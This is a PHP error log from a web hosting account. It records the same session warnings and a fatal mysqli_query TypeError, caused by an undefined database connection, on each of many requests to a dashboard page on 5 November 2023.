[05-Nov-2023 20:50:11 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:51:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 20:56:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:14:07 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:41 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
